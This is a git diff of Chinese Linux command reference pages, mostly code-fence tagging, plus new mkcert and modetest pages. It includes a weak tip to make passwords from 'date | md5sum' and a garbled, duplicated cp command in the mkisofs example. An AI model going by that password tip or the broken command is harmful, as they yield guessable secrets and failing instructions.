+
+```shell
+# 常见的读取形式。
+mapfile < source_file target_array
+cat source_file |mapfile target_array
+mapfile -u fd target_array
+
+# 只读取前5行。
+mapfile < source_file -n 5 target_array
+
+# 跳过前5行。
+mapfile < source_file -s 5 target_array
+
+# 在数组指定的下标开始赋值。
+# 请注意:这样做不会清空该数组。
+mapfile < source_file -O 2 target_array
+
+# 读取时设定行分隔符为tab。
+# 注意,第二行的tab在终端需要用ctrl+v tab输入;
+mapfile < source_file -d $'\t' target_array
+mapfile < source_file -d ' ' target_array
+
+# 读取时移除行分隔符(tab)。
+mapfile < source_file -d $'\t' -t target_array
+# 读取时移除行分隔符(换行符)。
+mapfile < source_file -t target_array
+
+# 每读取2行,执行一次语句(在这里是echo)。
+mapfile < source_file -C "echo CALLBACK:" -c 2 target_array
+
+# 遍历下标,依次显示数组的元素。
+for i in ${!target_array[@]}; do
+ printf "%s" ${target_array[i]}
+done
+```
+
+### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+2. bash内建命令readarray是mapfile的同义词。
+
+
diff --git a/command/md5sum.md b/command/md5sum.md
index ea9197a6971..74af7746081 100644
--- a/command/md5sum.md
+++ b/command/md5sum.md
@@ -9,15 +9,15 @@ md5sum
MD5算法常常被用来验证网络文件传输的完整性,防止文件被人篡改。MD5 全称是报文摘要算法(Message-Digest Algorithm 5),此算法对任意长度的信息逐位进行计算,产生一个二进制长度为128位(十六进制长度就是32位)的“指纹”(或称“报文摘要”),不同的文件产生相同的报文摘要的可能性是非常非常之小的。
-### 语法
+### 语法
-```
+```shell
md5sum(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-b:二进制模式读取文件;
-t或--text:把输入的文件作为文本文件看待;
-c:从指定文件中读取MD5校验和,并进行校验;
@@ -25,7 +25,7 @@ md5sum(选项)(参数)
-w:当校验不正确时给出警告信息。
```
-### 参数
+### 参数
文件:指定保存着文件名和校验和的文本文件。
@@ -35,14 +35,14 @@ md5sum(选项)(参数)
另一种获取可用作密码的随机字符串的方法是计算 MD5 校验值!校验值看起来确实像是随机字符串组合在一起,我们可以用作密码。确保你的计算源是个变量,这样的话每次运行命令时生成的校验值都不一样。比如 date !date 命令 总会生成不同的输出。
-```
+```shell
[root@localhost ~]# date | md5sum
6a43f2c246cdc3e6a3592652f831d186 -
```
**生成一个文件insert.sql的md5值:**
-```
+```shell
[root@localhost ~]# md5sum insert.sql
bcda6cb5c704664f989703ac5a88f112 insert.sql
```
@@ -51,19 +51,19 @@ bcda6cb5c704664f989703ac5a88f112 insert.sql
首先生成md5文件:
-```
+```shell
md5sum testfile > testfile.md5
```
检查:
-```
+```shell
md5sum testfile -c testfile.md5
```
如果文件没有变化,输出应该如下:
-```
+```shell
forsort: OK
```
@@ -71,7 +71,7 @@ forsort: OK
如果文件发生了变化,输出应该如下:
-```
+```shell
forsort: FAILED
md5sum: WARNING: 1 of 1 computed checksum did NOT match
```
@@ -82,13 +82,13 @@ md5sum: WARNING: 1 of 1 computed checksum did NOT match
检测的时候如果检测文件非法则输出信息的选项:
-```
+```shell
md5sum -w -c testfile.md5
```
输出之后,文件异常输出类似如下:
-```
+```shell
md5sum: testfile.md5: 1: improperly formatted MD5 checksum line
md5sum: testfile.md5: no properly formatted MD5 checksum lines found
```
@@ -96,4 +96,4 @@ md5sum: testfile.md5: no properly formatted MD5 checksum lines found
这里,testfile.md5只有一行信息,但是我认为地给它多加了一个字符,导致非法。如果md5文件正常那么`-w`有没有都一样。
-
+
diff --git a/command/mesg.md b/command/mesg.md
index f852a8f5a0f..57b132c5c43 100644
--- a/command/mesg.md
+++ b/command/mesg.md
@@ -1,28 +1,27 @@
mesg
===
-
+
设置当前终端的写权限
## 补充说明
**mesg命令** 用于设置当前终端的写权限,即是否让其他用户向本终端发信息。将mesg设置y时,其他用户可利用write命令将信息直接显示在您的屏幕上。
-### 语法
+### 语法
-```
+```shell
mesg(参数)
```
-### 参数
+### 参数
y/n:y表示运行向当前终端写信息,n表示禁止向当前终端写信息。
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# mesg y #允许系统用户将信息直接显示在你的屏幕上。
[root@localhost ~]# mesg n #不允许系统用户将信息直接显示在你的屏幕上。
```
-
\ No newline at end of file
diff --git a/command/mii-tool.md b/command/mii-tool.md
index 3956eb7c786..6b39d07ac2e 100644
--- a/command/mii-tool.md
+++ b/command/mii-tool.md
@@ -1,21 +1,21 @@
mii-tool
===
-
+
配置网络设备协商方式的工具
## 补充说明
**mii-tool命令** 是用于查看、管理介质的网络接口的状态,有时网卡需要配置协商方式,比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商,因为大多数网络设置接入的时候,都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的,有时也会出现错误,比如丢包率比较高,这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法。
-### 语法
+### 语法
-```
+```shell
usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...]
```
-### 选项
+### 选项
-```
+```shell
-V 显示版本信息;
-v 显示网络接口的信息;
-R 重设MII到开启状态;
@@ -29,11 +29,11 @@ media: 100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD,
(to advertise both HD and FD) 100baseTx, 10baseT
```
-### 实例
+### 实例
查看网络接口的协商状态:
-```
+```shell
[root@localhost ~]# mii-tool -v eth0
eth0: negotiated 100baseTx-FD, link ok
product info: vendor 00:50:ef, model 60 rev 8
@@ -52,7 +52,7 @@ eth0: negotiated 100baseTx-FD, link ok
如果我们想把网络接口eth0改为1000Mb/s全双工的模式应该怎么办呢?
-```
+```shell
[root@localhost ~]# mii-tool -F 100baseTx-FD
[root@localhost ~]# mii-tool -v eth0
eth0: 100 Mbit, full duplex, link ok
@@ -65,9 +65,8 @@ eth0: 100 Mbit, full duplex, link ok
注:是不是已经改过来了?当然,我们也一样用ethtool工具来更改,比如执行下面的命令:
-```
+```shell
[root@localhost ~]# ethtool -s eth0 speed 100 duplex full
```
-
\ No newline at end of file
diff --git a/command/mkbootdisk.md b/command/mkbootdisk.md
index f82862bc0ce..5ed439e1c4b 100644
--- a/command/mkbootdisk.md
+++ b/command/mkbootdisk.md
@@ -1,21 +1,21 @@
mkbootdisk
===
-
+
可建立目前系统的启动盘
## 补充说明
**mkbootdisk命令** 用来为当前运行的系统创建能够单独使用的系统引导软盘,以便在系统出现故障时能够启动操作进行适当的修复工作。
-### 语法
+### 语法
-```
+```shell
mkbootdisk(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
--device<设备>:指定设备;
--mkinitrdargs<参数>:设置mkinitrd的参数;
--noprompt:不会提示用户插入磁盘;
@@ -23,21 +23,20 @@ mkbootdisk(选项)(参数)
--version:显示版本信息。
```
-### 参数
+### 参数
内核:指定内核版本。
-### 实例
+### 实例
-```
+```shell
mkbootdisk --device /dev/fd0 `uname -r`
```
其中,``uname -r``是目前Linux 系统所使用的核心版本,如果你有多个核心版本的话,你以可以直接输入核心版本。例如在这个网页中所使用的核心有两个版本,一个是2.2.12-20,另一个是2.2.18,若要以2.2.18设定开机的话,可以使用:
-```
+```shell
mkbootdisk --device /dev/fd0 2.2.18
```
-
\ No newline at end of file
diff --git a/command/mkcert.md b/command/mkcert.md
new file mode 100644
index 00000000000..21901b22c1a
--- /dev/null
+++ b/command/mkcert.md
@@ -0,0 +1,198 @@
+mkcert
+===
+
+用来生成自签证书的工具
+
+## 示例
+
+`mkcert` 是 GO 编写的,一个简单的**零配置**的用来生成自签证书的工具。
+
+下面给一个简单的示例,在本地生成自签证书,并使用让 nc 使用生成的证书。
+
+```zsh
+~ ········································································································································· 10:46:25
+❯ mkcert -install
+The local CA is already installed in the system trust store! 👍The local CA is already installed in the Firefox and/or Chrome/Chromium trust store! 👍
+~ ········································································································································· 10:46:34
+❯ mkcert example.com "*.example.com" example.test localhost 127.0.0.1 ::1
+
+Created a new certificate valid for the following names 📜 - "example.com"
+ - "*.example.com"
+ - "example.test"
+ - "localhost"
+ - "127.0.0.1"
+ - "::1"
+
+Reminder: X.509 wildcards only go one level deep, so this won't match a.b.example.com ℹ️
+
+The certificate is at "./example.com+5.pem" and the key at "./example.com+5-key.pem" ✅
+It will expire on 30 January 2025 🗓
+
+~ ········································································································································· 10:47:37
+❯ ls
+公共 视频 文档 音乐 aria aria2-downloads Dockerfile example.com+5.pem GOPATH minio-binaries nowip_hosts.txt tech_backend.jar
+模板 图片 下载 桌面 aria2-config cv_debug.log example.com+5-key.pem go math navicat_reset src
+~ ········································································································································· 10:47:55
+❯ ncat -lvp 1589 --ssl-key example.com+5-key.pem --ssl-cert example.com+5.pem
+Ncat: Version 7.92 ( https://nmap.org/ncat )
+Ncat: Listening on :::1589
+Ncat: Listening on 0.0.0.0:1589
+Ncat: Connection from 127.0.0.1.
+Ncat: Connection from 127.0.0.1:39156.
+Ncat: Failed SSL connection from 127.0.0.1: error:00000000:lib(0):func(0):reason(0)
+```
+
+`mkcert` 自动生成并安装一个本地 CA 到 root stores,并且生成 locally-trusted 证书。`mkcert` 不会自动使用证书来配置服务器,不过,这取决于你。
+
+## 安装
+
+> Warning: `mkcert` 自动生成的 `rootCA-key.pem` 文件提供了完整的能力来拦截你机器上的安全请求。请不要分享它。
+
+### macOS
+
+```bash
+$ brew install mkcert
+$ brew install nss # 如果用 Firefox 的话
+```
+
+### Linux
+
+在 Linux 上,首先要安装 `certutil`
+
+```bash
+$ sudo apt install libnss3-tools
+# -or-
+$ sudo yum install nss-tools
+# -or-
+$ sudo pacman -S nss
+# -or-
+$ sudo zypper install mozilla-nss-tools
+```
+
+然后可以使用 [Homebrew on Linux](https://docs.brew.sh/Homebrew-on-Linux) 来安装。
+
+```bash
+$ brew install mkcert
+```
+
+或者从源码构建(要求 Go 1.13+)
+
+```bash
+git clone https://github.com/FiloSottile/mkcert && cd mkcert
+go build -ldflags "-X main.Version=$(git describe --tags)"
+```
+
+又或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。
+
+```bash
+$ curl -JLO "https://dl.filippo.io/mkcert/latest?for=linux/amd64"
+$ chmod +x mkcert-v*-linux-amd64
+$ sudo cp mkcert-v*-linux-amd64 /usr/local/bin/mkcert
+```
+
+对于 Arch Linux 用户(比如我),[`mkcert`](https://www.archlinux.org/packages/community/x86_64/mkcert/) 在 Arch Linux 官方仓库中可用。
+
+```bash
+$ sudo pacman -S mkcert
+```
+
+### Windows
+
+使用 [Chocolatey](https://chocolatey.org/)
+
+```bash
+$ choco install mkcert
+```
+
+或者使用 Scoop
+
+```bash
+$ scoop bucket add extras
+$ scoop install mkcert
+```
+
+或者从源码构建(要求 Go 1.10+) ,或者使用 [预构建的二进制文件](https://github.com/FiloSottile/mkcert/releases)。
+
+如果遇到权限问题,请使用管理员运行 `mkcert`
+
+## 支持的 root stores
+
+`mkcert` 支持以下 root stores:
+
+- macOS system store
+- Windows system store
+- Linux 发行版提供
+ - `update-ca-trust` (Fedora,RHEL,CentOS)或者
+ - `update-ca-certificates` (Ubuntu,Debian,OpenSUSE,SLES)或者
+ - `trust` (Arch)
+- Firefox (仅 macOS 和 Linux)
+- Chrome 和 Chromium
+- Java(当 `JAVA_HOME` 被设置时)
+
+为了把 local root CA 装到这些 root stores 中,你可以设置 `TRUST_STORES` 环境变量到一个逗号分隔的 list。有这些选项:"system","java" 和 "nss"(包括了 Firefox)。
+
+## 高级 topics
+
+### 高级选项
+
+```bash
+-cert-file FILE, -key-file FILE, -p12-file FILE
+ # 自定义输出路径.
+-client # 生成供客户端认证使用的证书.
+-ecdsa # 生成使用一个 ECDSA (一种椭圆曲线签名算法)key 来生成证书.
+-pkcs12 # 生成一个 ".p12" PKCS #12 文件,也可以被识别为 ".pfx" 文件,
+ # 包含 cert 和 key for legacy applications.
+-csr CSR # 生成一个给予 CSR(证书签名申请) 的证书。
+ # 与除了 -install 和 -cert-file 以外的其它所以 flag 和参数冲突!
+```
+
+[SSL 证书 什么是CSR?-常见问题-文档中心-腾讯云](https://cloud.tencent.com/document/product/400/5367)
+
+> **请注意!** 你必须把这些选项放在域名列表之前。
+
+### 例如
+
+```bash
+mkcert -key-file key.pem -cert-file cert.pem example.com *.example.com
+```
+
+### S/MIME (邮件安全证书)
+
+用下面这种方式 `mkcert` 会生成一个 S/MIME 证书:
+
+```bash
+mkcert filippo@example.com
+```
+
+### 移动设备
+
+对于要让移动设备信任证书的情况,你得安装 root CA。就是 `rootCA.pem` 这个文件,可以通过 `mkcert -CAROOT` 打印出这个文件所在的目录。
+
+在 iOS 上,你也可以使用 AirDrop,把 CA 邮件发给你自己,或者通过一个 HTTP server 提供它。在打开它之后,你需要 [install the profile in Settings > Profile Downloaded](https://github.com/FiloSottile/mkcert/issues/233#issuecomment-690110809) and then [enable full trust in it](https://support.apple.com/en-nz/HT204477) 。
+
+对于 Android ,你得安装这个 CA 然后在应用程序的开发版本中启用 user roots。可以看一看这个 [StackOverflow 回答](https://stackoverflow.com/a/22040887/749014) 。
+
+### 用 Node.js 来使用这个 root
+
+Node 不使用 system root store,所以它不会自动接受 `mkcert` 证书。相反,你得设置 [`NODE_EXTRA_CA_CERTS`](https://nodejs.org/api/cli.html#cli_node_extra_ca_certs_file) 环境变量。
+
+```bash
+export NODE_EXTRA_CA_CERTS="$(mkcert -CAROOT)/rootCA.pem"
+```
+
+### 改变 CA 文件的位置
+
+CA 证书和它的 key 被存储在用户家目录的一个文件夹中。一般来说你不会想去关注它的位置,因为它会被自动装载。但是你可以通过 `mkcert -CAROOT` 来打印这个目录位置。
+
+如果你想要管理单独的 CA 们,你可以使用 `\$CAROOT` 环境变量来设置 mkcert 放置和寻找 CA files 的路径。
+
+### 在其它系统上安装 CA
+
+安装 trust store 不需要 CA key(只要 CA),所以你可以导出 CA,并且使用 `mkcert` 来安装到其它机器上。
+
+- 找到 `rootCA.pem` 文件,可以用 `mkcert -CAROOT` 找到对应目录。
+- 把它 copy 到别的机器上。
+- 设置 `\$CAROOT` 为 `rootCA.pem` 所在目录。
+- 运行 `mkcert -install`(arch linux 可以 `sudo trust anchor --store rootCA.pem`,其它发行版可以用自带的命令手动添加来信任 CA)
+
+请千万记住 `mkcert` 是用于开发目的的,不建议用于生产,所以它不应该被用到用户终端上,并且你不应该导出或者共享 `rootCA-key.pem` 。
diff --git a/command/mkdir.md b/command/mkdir.md
index 86f943d286c..7b6cd36db5a 100644
--- a/command/mkdir.md
+++ b/command/mkdir.md
@@ -1,6 +1,6 @@
mkdir
===
-
+
用来创建目录
## 补充说明
@@ -11,38 +11,60 @@ mkdir
在一个子目录中应包含类型相似或用途相近的文件。例如,应建立一个子目录,它包含所有的数据库文件,另有一个子目录应包含电子表格文件,还有一个子目录应包含文字处理文档,等等。目录也是文件,它们和普通文件一样遵循相同的命名规则,并且利用全路径可以唯一地指定一个目录。
-### 语法
+### 语法
-```
+```shell
mkdir (选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-Z:设置安全上下文,当使用SELinux时有效;
-m<目标属性>或--mode<目标属性>建立目录的同时设置目录的权限;
-p或--parents 若所要建立目录的上层目录目前尚未建立,则会一并建立上层目录;
--version 显示版本信息。
```
-### 参数
+### 参数
目录:指定要创建的目录列表,多个目录之间用空格隔开。
-### 实例
+### 实例
在目录`/usr/meng`下建立子目录test,并且只有文件主有读、写和执行权限,其他人无权访问
-```
+```shell
mkdir -m 700 /usr/meng/test
```
在当前目录中建立bin和bin下的os_1目录,权限设置为文件主可读、写、执行,同组用户可读和执行,其他用户无权访问
-```
+```shell
mkdir -p-m 750 bin/os_1
```
+### 补充
+
+-m :配置文件的权限
+
+ 如:755
+
+ 每个数字代表不同的权限集合,分别为:
+
+ - 第一个数字`7`:所有者(user)的权限
+ - 第二个数字`5`:所属组(group)的权限
+ - 第三个数字`5`:其他用户(others)的权限
+
+ 每个数字是以下权限的组合:
+ - 读权限 (read) - 4
+ - 写权限 (write) - 2
+ - 执行权限 (execute) - 1
+
+ 因此,`755`的具体权限为:
+
+ - `7`(所有者)= 4 (读) + 2 (写) + 1 (执行) = 7
+ - `5`(所属组)= 4 (读) + 1 (执行) = 5
+ - `5`(其他用户)= 4 (读) + 1 (执行) = 5
-
\ No newline at end of file
+
diff --git a/command/mke2fs.md b/command/mke2fs.md
index 80ffa2bc429..e626631af25 100644
--- a/command/mke2fs.md
+++ b/command/mke2fs.md
@@ -1,21 +1,21 @@
mke2fs
===
-
+
创建磁盘分区上的“etc2/etc3”文件系统
## 补充说明
**mke2fs命令** 被用于创建磁盘分区上的“etc2/etc3”文件系统。
-### 语法
+### 语法
-```
+```shell
mke2fs(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-b<区块大小>:指定区块大小,单位为字节;
-c;检查是否有损坏的区块;
-f<不连续区段大小>:指定不连续区段的大小,单位为字节;
@@ -34,18 +34,17 @@ mke2fs(选项)(参数)
-V:显示版本信息。
```
-### 参数
+### 参数
* 设备文件:指定要创建的文件系统的分区设备文件名;
* 块数:指定要创建的文件系统的磁盘块数量。
-### 实例
+### 实例
创建指定的ext2文件系统。
-```
+```shell
mke2fs -q /dev/hda1
```
-
\ No newline at end of file
diff --git a/command/mkfs.md b/command/mkfs.md
index baf6878d1d7..43c7710ccf5 100644
--- a/command/mkfs.md
+++ b/command/mkfs.md
@@ -1,21 +1,21 @@
mkfs
===
-
+
用于在设备上创建Linux文件系统
## 补充说明
**mkfs命令** 用于在设备上(通常为硬盘)创建Linux文件系统。mkfs本身并不执行建立文件系统的工作,而是去调用相关的程序来执行。
-### 语法
+### 语法
-```
+```shell
mkfs(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
fs:指定建立文件系统时的参数;
-t<文件系统类型>:指定要建立何种文件系统;
-v:显示版本信息与详细的使用方法;
@@ -23,16 +23,16 @@ fs:指定建立文件系统时的参数;
-c:在制做档案系统前,检查该partition是否有坏轨。
```
-### 参数
+### 参数
* 文件系统:指定要创建的文件系统对应的设备文件名;
* 块数:指定文件系统的磁盘块数。
-### 实例
+### 实例
在`/dev/hda5`上建一个msdos的档案系统,同时检查是否有坏轨存在,并且将过程详细列出来:
-```
+```shell
mkfs -V -t msdos -c /dev/hda5
mkfs -t ext3 /dev/sda6 //将sda6分区格式化为ext3格式
@@ -40,4 +40,3 @@ mkfs -t ext2 /dev/sda7 //将sda7分区格式化为ext2格式
```
-
\ No newline at end of file
diff --git a/command/mkinitrd.md b/command/mkinitrd.md
index a66f7131ed9..c225aa105b6 100644
--- a/command/mkinitrd.md
+++ b/command/mkinitrd.md
@@ -1,6 +1,6 @@
mkinitrd
===
-
+
建立要载入ramdisk的映像文件
## 补充说明
@@ -9,15 +9,15 @@ mkinitrd
这个是重新封包核心的命令,例如你自己修改了一个设备的驱动,如果这个驱动要加入核心级别的话,就需要对核心进行重新封包,把新加的配置编译到核心内部去!
-### 语法
+### 语法
-```
+```shell
mkinitrd(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-f:若指定的映像问家名称与现有文件重复,则覆盖现有的文件;
-v:执行时显示详细的信息;
--omit-scsi-modules:不要载入SCSI模块;
@@ -26,14 +26,14 @@ mkinitrd(选项)(参数)
--version:显示版本信息。
```
-### 参数
+### 参数
* 映像文件:指定要创建的映像文件;
* 内核版本:指定内核版本。
-### 实例
+### 实例
-```
+```shell
[root@localhost tmp]# mkinitrd -v -f myinitrd.img $(uname -r)
Creating initramfs
WARNING: using /tmp for temporary files
@@ -60,4 +60,3 @@ myinitrd.img: ASCII cpio archive (SVR4 with no CRC)
```
-
\ No newline at end of file
diff --git a/command/mkisofs.md b/command/mkisofs.md
index 5c984d0025a..e9751ea461c 100644
--- a/command/mkisofs.md
+++ b/command/mkisofs.md
@@ -1,21 +1,21 @@
mkisofs
===
-
+
建立ISO 9660映像文件
## 补充说明
**mkisofs命令** 用来将指定的目录与文件做成ISO 9660格式的映像文件,以供刻录光盘。
-### 语法
+### 语法
-```
+```shell
mkisofs(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a或--all:mkisofs通常不处理备份文件。使用此参数可以把备份文件加到映像文件中;
-A<应用程序id>或-appid<应用程序ID>:指定光盘的应用程序ID;
-abstract<摘要文件>:指定摘要文件的文件名;
@@ -53,49 +53,48 @@ mkisofs(选项)(参数)
-z:建立通透性压缩文件的SUSP记录,此记录目前只在Alpha机器上的Linux有效。
```
-### 参数
+### 参数
路径:需要添加到映像文件中的路径。
-### 实例
+### 实例
linux中用mkisofs命令把文件制作成ISO步骤:
把NFS服务器上的目录挂载到本地/mnt/nfs/的目录:
-```
+```shell
mount -t nfs 10.0.2.2:/linuxos/rhel4.0_update3/ /mnt/nfs/
```
把已挂载的文件复制到本地:
-```
+```shell
cp -a /mnt/NFS/* /root/Decp -a /mnt/nfs/* /root/Desktop/rhel4.0/&sktop/rhel4.0/&
```
查找boot.cat文件并删除掉:
-```
+```shell
find rhel4.0/ -name boot.cat | xargs rm
```
查找TRANS.TBL文件并删除掉:
-```
+```shell
find rhel4.0/ -name TRANS.TBL -exec rm {} \;
```
复制本地的所需文件到指定目录:
-```
+```shell
cp /usr/share/comps/i386/.discinfo rhel4.0/
```
把指定目录下的所有文件制作成ISO文件:
-```
+```shell
mkisofs -R -J -T -v -no-emul-boot -boot-load-size 4 -boot-info-table -V RHEL4ASDVD -b isolinux/isolinux.bin -c isolinux/boot.cat -o /RHEL4AS.iso rhel4.0/
```
-
\ No newline at end of file
diff --git a/command/mknod.md b/command/mknod.md
index b68d4a8a071..d057d241bbc 100644
--- a/command/mknod.md
+++ b/command/mknod.md
@@ -1,43 +1,43 @@
mknod
===
-
+
创建字符设备文件和块设备文件
## 补充说明
**mknod命令** 用于创建Linux中的字符设备文件和块设备文件。
-### 语法
+### 语法
-```
+```shell
mknod(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-Z:设置安全的上下文;
-m:设置权限模式;
-help:显示帮助信息;
--version:显示版本信息。
```
-### 参数
+### 参数
* 文件名:要创建的设备文件名;
* 类型:指定要创建的设备文件的类型;
* 主设备号:指定设备文件的主设备号;
* 次设备号:指定设备文件的次设备号。
-### 实例
+### 实例
-```
+```shell
ls -la /dev/ttyUSB*
crw-rw—- 1 root dialout 188, 0 2008-02-13 18:32 /dev/ttyUSB0
mknod /dev/ttyUSB32 c 188 32
```
-### 扩展知识
+### 扩展知识
Linux的设备管理是和文件系统紧密结合的,各种设备都以文件的形式存放在/dev目录 下,称为设备文件。应用程序可以打开、关闭和读写这些设备文件,完成对设备的操作,就像操作普通的数据文件一样。
@@ -48,4 +48,3 @@ Linux为所有的设备文件都提供了统一的操作函数接口,方法是
打开一个文件就是调用这个文件file_operations中的open操作。不同类型的文件有不同的file_operations成员函数,如普通的磁盘数据文件, 接口函数完成磁盘数据块读写操作;而对于各种设备文件,则最终调用各自驱动程序中的I/O函数进行具体设备的操作。这样,应用程序根本不必考虑操作的是设 备还是普通文件,可一律当作文件处理,具有非常清晰统一的I/O接口。所以file_operations是文件层次的I/O接口。
-
\ No newline at end of file
diff --git a/command/mkswap.md b/command/mkswap.md
index ef3526a8c7a..4f3f5d02cb5 100644
--- a/command/mkswap.md
+++ b/command/mkswap.md
@@ -1,36 +1,36 @@
mkswap
===
-
+
建立和设置SWAP交换分区
## 补充说明
**mkswap命令** 用于在一个文件或者设备上建立交换分区。在建立完之后要使用sawpon命令开始使用这个交换区。最后一个选择性参数指定了交换区的大小,但是这个参数是为了向后兼容设置的,没有使用的必要,一般都将整个文件或者设备作为交换区。
-### 语法
+### 语法
-```
+```shell
mkswap(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-c:建立交换区前,先检查是否有损坏的区块;
-f:在SPARC电脑上建立交换区时,要加上此参数;
-v0:建立旧式交换区,此为预设值;
-v1:建立新式交换区。
```
-### 参数
+### 参数
设备:指定交换空间对应的设备文件或者交换文件。
-### 实例
+### 实例
**查看系统swap space大小:**
-```
+```shell
free -m
total used free shared buffers cached
Mem: 377 180 197 0 19 110
@@ -40,7 +40,7 @@ Swap: 572 0 572
**查看当前的swap空间(file(s)/partition(s)):**
-```
+```shell
swapon -s
等价于
@@ -56,19 +56,19 @@ cat /proc/swaps
使用fdisk来创建交换分区(假设 /dev/sdb2 是创建的交换分区),使用 mkswap 命令来设置交换分区:
-```
+```shell
mkswap /dev/sdb2
```
启用交换分区:
-```
+```shell
swapon /dev/sdb2
```
写入`/etc/fstab`,以便在引导时启用:
-```
+```shell
/dev/sdb2 swap swap defaults 0 0
```
@@ -76,25 +76,25 @@ swapon /dev/sdb2
创建大小为512M的交换文件:
-```
+```shell
dd if=/dev/zero of=/swapfile1 bs=1024 count=524288
```
使用mkswap命令来设置交换文件:
-```
+```shell
mkswap /swapfile1
```
启用交换分区:
-```
+```shell
swapon /swapfile1
```
写入`/etc/fstab`,以便在引导时启用:
-```
+```shell
/swapfile1 swap swap defaults 0 0
```
@@ -104,11 +104,10 @@ swapon /swapfile1
禁用交换分区:
-```
+```shell
swapoff /dev/sdb2
```
从`/etc/fstab`中删除项目,使用fdisk或yast工具删除分区。
-
\ No newline at end of file
diff --git a/command/mktemp.md b/command/mktemp.md
index 039b9ebcf5c..4fdf0d4c427 100644
--- a/command/mktemp.md
+++ b/command/mktemp.md
@@ -1,29 +1,28 @@
mktemp
===
-
+
创建临时文件供shell脚本使用
## 补充说明
**mktemp命令** 被用来创建临时文件供shell脚本使用。
-### 语法
+### 语法
-```
+```shell
mktemp(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-q:执行时若发生错误,不会显示任何信息;
-u:暂存文件会在mktemp结束前先行删除;
-d:创建一个目录而非文件。
```
-### 参数
+### 参数
文件:指定创建的临时文件。
-
\ No newline at end of file
diff --git a/command/modetest.md b/command/modetest.md
new file mode 100644
index 00000000000..2c14428a00c
--- /dev/null
+++ b/command/modetest.md
@@ -0,0 +1,144 @@
+modetest
+===
+
+DRM/KMS驱动程序libdrm中的模式测试工具
+
+## 补充说明
+
+`modetest` 是一个用于测试和验证 DRM(Direct Rendering Manager)驱动程序功能的命令行工具。
+
+### 安装
+
+- **源码**:[Mesa / drm · GitLab](https://gitlab.freedesktop.org/mesa/drm)
+- **下载**:[Index of /libdrm (dri.freedesktop.org)](https://dri.freedesktop.org/libdrm/)
+
+__编译__
+
+```shell
+./configure --prefix=/opt/ --host=aarch64-linux-gnu
+make && make install
+## 编译删除
+make distclean
+```
+
+__参考__:[libdrm调试准备 - 简书](https://www.jianshu.com/p/a9152ca3e7ab)
+
+### 语法
+
+```shell
+modetest [选项]
+```
+
+### 选项
+
+```shell
+# 查询选项
+-c 列出连接器
+-e 列出编码器
+-f 列出帧缓冲
+-p 列出 CRTCs 和平面
+
+# 测试选项
+-P @:x[++][*][@] 设置一个平面
+-s [,][@]:[-][@] 设置一个显示模式
+-C 测试硬件光标
+-v 测试垂直同步页面翻转
+-w :: 设置属性
+
+# 通用选项
+-a 启用原子模式设置
+-d 在模式设置后放弃主控权限
+-M 指定要使用的驱动程序模块
+-D 指定要使用的设
+```
+
+### 参数
+
+`` 驱动模块
+
+- i915:Intel 集成显卡驱动模块
+- amdgpu:AMD Radeon 显卡驱动模块
+- radeon:旧版 AMD Radeon 显卡驱动模块
+- nouveau:NVIDIA 开源显卡驱动模块
+- vmwgfx:VMware 显卡驱动模块
+- omapdrm:TI OMAP 显卡驱动模块
+- exynos:三星 Exynos 显卡驱动模块
+- tilcdc:TI LCD 控制器显卡驱动模块
+- msm:Qualcomm MSM 显卡驱动模块
+- sti:STMicroelectronics 显卡驱动模块
+- tegra:NVIDIA Tegra 显卡驱动模块
+- imx-drm:Freescale i.MX 显卡驱动模块
+- rockchip:Rockchip 显卡驱动模块
+
+### 实例
+
+使用 `modetest` 查看相关信息
+
+```shell
+~# modetest
+Encoders: # 省略了好多好多
+id crtc type possible crtcs possible clones
+194 0 Virtual 0x0000000f 0x00000001
+196 88 TMDS 0x00000002 0x00000002
+210 0 DSI 0x00000004 0x00000004
+213 0 TMDS 0x00000001 0x00000008
+
+Connectors: # 省略了好多好多
+id encoder status name size (mm) modes encoders
+197 196 connected HDMI-A-1 530x300 10 196
+ mode # 巴拉巴拉非常多的一大串
+211 210 connected DSI-1 184x114 1 210
+214 0 disconnected DP-1 0x0 0 213
+
+CRTCs: # 省略了好多好多****
+id fb pos size
+68 0 (0,0) (0x0)
+ 0 0 0 0 0 0 0 0 0 0 flags: ; type:
+88 0 (0,0) (0x0)
+ 0 0 0 0 0 0 0 0 0 0 flags: ; type:
+108 219 (0,0) (1200x1920)
+ 1200x1920 60 1200 1280 1284 1344 1920 1955 1956 1981 159400 flags: ; type:
+128 0 (0,0) (0x0)
+ 0 0 0 0 0 0 0 0 0 0 flags: ; type:
+
+Planes: # 省略了好多好多
+id crtc fb CRTC x,y x,y gamma size possible crtcs
+54 0 0 0,0 0,0 0 0x0000000f
+ formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY
+74 0 0 0,0 0,0 0 0x0000000f
+ formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY
+94 108 219 0,0 0,0 0 0x0000000f
+ formats: XR24 AR24 XB24 AB24 RG24 BG24 RG16 BG16 NV12 NV21 NV16 NV61 NV24 NV42 NV15 NV20 NV30 YVYU VYUY YUYV UYVY
+
+```
+
+------
+
+根据以上信息在 `MIPI-DSI` 显示设备上使用 `Rockchip` 显卡驱动测试
+
+```shell
+~# modetest -M rockchip -s 211@108:1200x1920 -v
+freq: 59.90Hz
